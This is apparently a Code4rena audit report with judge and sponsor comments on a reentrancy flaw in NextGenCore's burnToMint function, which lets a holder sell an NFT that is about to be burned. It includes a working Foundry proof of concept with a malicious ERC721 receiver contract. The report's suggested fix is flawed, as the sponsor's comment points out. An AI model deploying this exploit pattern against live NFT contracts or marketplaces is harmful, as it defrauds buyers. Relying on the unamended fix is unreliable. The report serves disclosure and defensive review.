Vulnerability in burnToMint function allowing double use of NFT

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L213-L223
https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L227-L232

Vulnerability details

Impact

The current implementation of the burnToMint function in the NextGenCore.sol smart contract permits a contract holder to both burn and sell the same NFT, effectively exploiting it to mint a new NFT. This leads to potential fraudulent activities when trading the NFT.

Proof of Concept

The vulnerability stems from the order of operations in the burnToMint function. Currently, a new token is minted (_mintProcessing) before the existing token is burned (_burn). This sequence of operations opens a window for exploitation:

File: smart-contracts/NextGenCore.sol
213:     function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
214:         require(msg.sender == minterContract, "Caller is not the Minter Contract");
215:         require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
216:         collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
217:         if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
218:             _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
219:             // burn token
220:             _burn(_tokenId);
221:             burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
222:         }
223:     }

https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L213-L223

The _mintProcessing function calls _safeMint, which in turn can trigger arbitrary code execution if the recipient is a contract. This allows for manipulation such as transferring the NFT (set to be burned) to another user before the burn occurs:

File: smart-contracts/NextGenCore.sol
227:     function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
228:         tokenData[_mintIndex] = _tokenData;
229:         collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
230:         tokenIdsToCollectionIds[_mintIndex] = _collectionID;
231:         _safeMint(_recipient, _mintIndex);
232:     }

https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L227-L232

A malicious actor can exploit this by listing the NFT for sale. When there is a buy offer, the malicious contract can call burnToMint to receive the new NFT and simultaneously accept an offer to buy the original NFT, resulting in the original NFT being burned but still sold, effectively duping the buyer.

In this POC scenario, there are two collection 1 and 2. The admin is set so that users can burn token in collection 1 to mint token in collection 2.

• A malicious contract has the token 10000000000 of collection 1, it lists the token 10000000000 in the marketplace.
• addr3 offer to buy the token 10000000000 from the malicious contract.
• The malicious contract calls burnToMint, stimulously receive token 20000000000 from collection 2 and accept offer to buy 10000000000 from addr3.
• In the end, token 10000000000 is burnt and addr3 receive nothing. The malicious contract receives both token 20000000000 from burnToMint and proceed from the sales of token 10000000000.

POC:

• Save the code in test/nextGen.test.sol
• Setup foundry and Run: forge test -vvvvv --match-contract NextGenCoreTest --match-test testBurnToMintReentrancy

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/AuctionDemo.sol";
import "../smart-contracts/IERC721Receiver.sol";
import {console} from "forge-std/console.sol";

contract NextGenCoreTest is Test {
    NextGenCore hhCore;
    DelegationManagementContract hhDelegation;
    randomPool hhRandoms;
    NextGenAdmins hhAdmin;
    NextGenRandomizerNXT hhRandomizer;
    NextGenMinterContract hhMinter;
    auctionDemo hhAuctionDemo;

    address owner;
    address addr1;
    address addr2;
    address addr3;

    function setUp() public {
        owner = address(this);
        addr1 = vm.addr(1);
        addr2 = vm.addr(2);
        addr3 = vm.addr(3);

        // Deploy contracts
        hhDelegation = new DelegationManagementContract();
        hhRandoms = new randomPool();
        hhAdmin = new NextGenAdmins();
        hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));
        hhRandomizer = new NextGenRandomizerNXT(
            address(hhRandoms),
            address(hhAdmin),
            address(hhCore)
        );
        hhMinter = new NextGenMinterContract(
            address(hhCore),
            address(hhDelegation),
            address(hhAdmin)
        );
    }

        function testBurnToMintReentrancy() public {

        // Setting up, creating 2 collections for burnToMint
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";

        hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            collectionScript
        );

        hhCore.createCollection(
            "Test Collection 2",
            "Artist 2",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            collectionScript
        );

        hhAdmin.registerCollectionAdmin(1, address(addr1), true);
        hhAdmin.registerCollectionAdmin(1, address(addr2), true);

        vm.prank(addr1);
        hhCore.setCollectionData(
            1, // _collectionID
            address(addr1), // _collectionArtistAddress
            2, // _maxCollectionPurchases
            10000, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
        );

        hhCore.setCollectionData(
            2, // _collectionID
            address(addr2), // _collectionArtistAddress
            2, // _maxCollectionPurchases
            10000, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
        );

        hhCore.addMinterContract(address(hhMinter));

        hhCore.addRandomizer(1, address(hhRandomizer));
        hhCore.addRandomizer(2, address(hhRandomizer));

        hhMinter.setCollectionCosts(
            1, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            5, // _timePeriod
            1, // _salesOptions
            0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress
            // 0x0000000000000000000000000000000000000000
        );

        hhMinter.setCollectionCosts(
            2, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            5, // _timePeriod
            1, // _salesOptions
            0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress
            // 0x0000000000000000000000000000000000000000
        );

        hhMinter.setCollectionPhases(
            1, // _collectionID
            1696931278, // _allowlistStartTime
            1696931280, // _allowlistEndTime
            1696931282, // _publicStartTime
            1796931284, // _publicEndTime
            bytes32(
                0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870
            ) // _merkleRoot
        );

        hhMinter.setCollectionPhases(
            2, // _collectionID
            1696931278, // _allowlistStartTime
            1696931280, // _allowlistEndTime
            1696931282, // _publicStartTime
            1796931284, // _publicEndTime
            bytes32(
                0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870
            ) // _merkleRoot
        );

        bytes32[] memory merkleRoot = new bytes32[](1);
        merkleRoot[
            0
        ] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;

        hhMinter.initializeBurn(1, 2, true);
        
        // Deploy a malicious contract to receive token 10000000000, later burn token 10000000000 to receive token 20000000000
        MaliciousContract maliciousContract = new MaliciousContract(address(hhCore), address(addr2), address(addr3));

        vm.warp(1796931283);

        // Mint token 10000000000 to malicious contract
        hhMinter.mint(
            1, // _collectionID
            1, // _numberOfTokens
            0, // _maxAllowance
            '{"tdh": "100"}', // _tokenData
            address(maliciousContract), // _mintTo
            merkleRoot, // _merkleRoot
            address(addr1), // _delegator
            2 //_varg0
        );

        // Malicious contract approve to addr2 so addr2 can call burnToMint on behalf of the malicious contract
        vm.prank(addr2);
        maliciousContract.approveToken();

        vm.prank(addr2);
        hhMinter.burnToMint(1, 10000000000, 2, 100);

        assertEq(hhCore.ownerOf(20000000000), address(maliciousContract)); // Malicious contract receives token 20000000000 after burnToMint.
        assertEq(hhCore.balanceOf(address(addr3)), 0); // NFT of addr3 is burnt
    }
}

contract MaliciousContract is IERC721Receiver {
    address public collection;
    address public admin;
    address public receiver;
    uint256 tokenIdToBurn = 10000000000;
    uint256 tokenIdToReceive = 20000000000;
    
    constructor(address _collection, address _admin, address _receiver) {
        collection = _collection;
        admin = _admin;
        receiver = _receiver;
    }

    function approveToken() external {
        require(msg.sender == admin);
        NextGenCore(collection).setApprovalForAll(admin, true);
    }

    function onERC721Received(
        address _operator,
        address _from,
        uint256 _tokenId,
        bytes calldata _data
    ) external override returns (bytes4) {
        if (_tokenId == tokenIdToBurn) {
            return IERC721Receiver.onERC721Received.selector;
        } else if (_tokenId == tokenIdToReceive) {
            // after receive the token, accept the sale offer immediately to send the token to buyer. To simplify, call transfer to the buyer
            NextGenCore(collection).transferFrom(address(this), receiver, tokenIdToBurn);
            return IERC721Receiver.onERC721Received.selector;
        }
        
    }
}

Tools Used

Manual

Recommended Mitigation Steps

The order of operations in the burnToMint function should be revised to ensure that the token is burned before a new one is minted:

    function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
        collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
-           _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
            // burn token
            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
+           _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
        }
    }

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as primary issue

[a2rocket]

the proposed mitigation is not fully corrected as you need to store the current owner of the token before burning it and use that into safeMint. If you do it like its proposed the safeMint will not be able to send the token.

[c4-sponsor]

a2rocket (sponsor) confirmed

[c4-pre-sort]

141345 marked the issue as sufficient quality report

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as primary issue

[alex-ppg]

The Warden has showcased that due to the absence of the Checks-Effects-Interactions pattern, it is possible to utilize an NFT to-be-burned (f.e. to sell it) before the actual burning operation is executed.

While the recommended alleviation does not work as expected per the Sponsor's comments, the submission is valid as it can cause the recipient of an NFT (if an open sale exists) to lose their value and not acquire any NFT.

I will downgrade this to a medium severity vulnerability per the judging guidelines as the only loss-of-value is a hypothetical value of an external protocol (i.e. trading one) rather than the NextGen system.

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)

[c4-judge]

alex-ppg marked the issue as selected for report

[c4-judge]

alex-ppg marked the issue as satisfactory

[alex-ppg]

The Warden's submission was selected as the best due to a correct title, cleaner & concise representation throughout, and illustrative recommended mitigation.